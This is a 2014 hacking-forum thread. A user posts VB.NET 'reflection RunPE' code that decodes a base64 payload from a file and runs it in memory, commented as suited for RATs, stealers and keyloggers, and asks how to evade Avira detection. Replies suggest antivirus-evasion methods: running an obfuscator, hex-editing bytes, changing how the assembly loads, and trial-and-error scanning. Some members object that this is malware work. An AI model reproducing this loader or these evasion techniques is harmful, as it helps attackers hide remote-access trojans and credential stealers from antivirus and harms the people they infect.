Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Reflection RunPE vb.net

Hi i have one problem use this code for i Inject in memory one .net file,but avira detected this code and my file have this detection 1/35

Code
Imports System.IO
Imports System.Reflection
Imports System.Runtime.CompilerServices
Imports System.Text

Public Class Form1
    ' thanks to Deathader for the reflection runpe...
    Private Sub RunFromMemory(ByVal bytes As Byte()) 'not sure how it works :(
        Dim assembly As Assembly = assembly.Load(bytes)
        Dim entryPoint As MethodInfo = [assembly].EntryPoint
        Dim objectValue As Object = RuntimeHelpers.GetObjectValue([assembly].CreateInstance(entryPoint.Name))
        entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), New Object() {New String() {"1"}})
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim filesbytes As Byte() = IO.File.ReadAllBytes("DTA32.HF") 'reads binary from the file
        Dim lol As String = System.Text.Encoding.ASCII.GetString(filesbytes) 'converts bytes to string , so we can do whatever we want to them
        Dim binaryData() As Byte = Convert.FromBase64String(lol.Replace("$", "A")) ' converts base64 string to bytes , also replaces all $ with A's
        Dim x As New Threading.Thread(AddressOf RunFromMemory)
        x.TrySetApartmentState(Threading.ApartmentState.STA)
        x.Start(binaryData) 'runs the decoded binary in memory , with the reflection runpe thouth , it can only do that with .net executables
        'good for RATS , Stealers , Keyloggers coded in .net
        Me.Close() 'closes the application
    End Sub
End Class
Help me to bypass avira?very thks :)
Some recommendations for Avira:
- DeepSea Obfuscator bypasses Avira most of the time.
- Remove the latest 00 from your file (with a Hex Editor) should also bypass it.

But don't really care of Avira, it also detects legit applications.
(Aug 12, 2014 06:53 AM)LordCoder Wrote:  Some recommendations for Avira:
- DeepSea Obfuscator bypasses Avira most of the time.
- Remove the latest 00 from your file (with a Hex Editor) should also bypass it.

But don't really care of Avira, it also detects legit applications.

when i remove 00 file not start ç_ç.You have another idea?
(Aug 12, 2014 08:08 AM)sinestic89 Wrote:  when i remove 00 file not start ç_ç.You have another idea?

Yes, never hex edit to remove detections. It is the way you load your asm. You and every other kid using reflection is using the same method; mix it up.
(Aug 12, 2014 08:46 AM)еlixir Wrote:  Yes, never hex edit to remove detections. It is the way you load your asm. You and every other kid using reflection is using the same method; mix it up.

how ? no have idea for bypass shit avira,dropper/gen 4 ever ç_ç
(Aug 12, 2014 10:09 AM)sinestic89 Wrote:  how ? no have idea for bypass shit avira,dropper/gen 4 ever ç_ç

Then you're not qualified to touch things like that, see? 🎉
(Aug 12, 2014 06:53 AM)LordCoder Wrote:  Some recommendations for Avira:
- DeepSea Obfuscator bypasses Avira most of the time.
- Remove the latest 00 from your file (with a Hex Editor) should also bypass it.

But don't really care of Avira, it also detects legit applications.

You should feel bad for what you just said, very bad.
Is this the detected part of your file or is another part of the code detected and isn't the runpe the real detection?
If this is the full code, you can try to delete one single line at a time, compile and scan. Then you, maybe know what you must change.
(Aug 12, 2014 10:54 AM)0fd52785afa06f3192e876cd1 Wrote:  You should feel bad for what you just said, very bad.

Deepsea works pretty fine on Avira. And the HEX technique is just a tip from a guy, I've never tested.
(Aug 12, 2014 11:33 AM)LordCoder Wrote:  Deepsea works pretty fine on Avira. And the HEX technique is just a tip from a guy, I've never tested.

You should just shut the fuck up. gosh.
(Aug 12, 2014 11:33 AM)LordCoder Wrote:  Deepsea works pretty fine on Avira. And the HEX technique is just a tip from a guy, I've never tested.

Ruining another programmers legitimate obfuscator for your Malware? That's the cancer that resides in this section.
Sorry for my quest,I did not want to disturb
(Aug 12, 2014 11:51 AM)tweety Wrote:  Ruining another programmers legitimate obfuscator for your Malware? That's the cancer that resides in this section.
It's just a test! I don't make malwares.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by snowman13Mar 12, 2021 03:28 AM 7 1,116 Mar 12, 2021 03:28 AM
Last Post: Joseph Ducreux
[.NET] by gigajewNov 3, 2020 08:41 PM 20 4,140 Nov 3, 2020 08:41 PM
Last Post: Menalix
[C#] by gigajewMar 13, 2018 10:44 AM 7 1,238 Mar 13, 2018 10:44 AM
Last Post: subtilebestia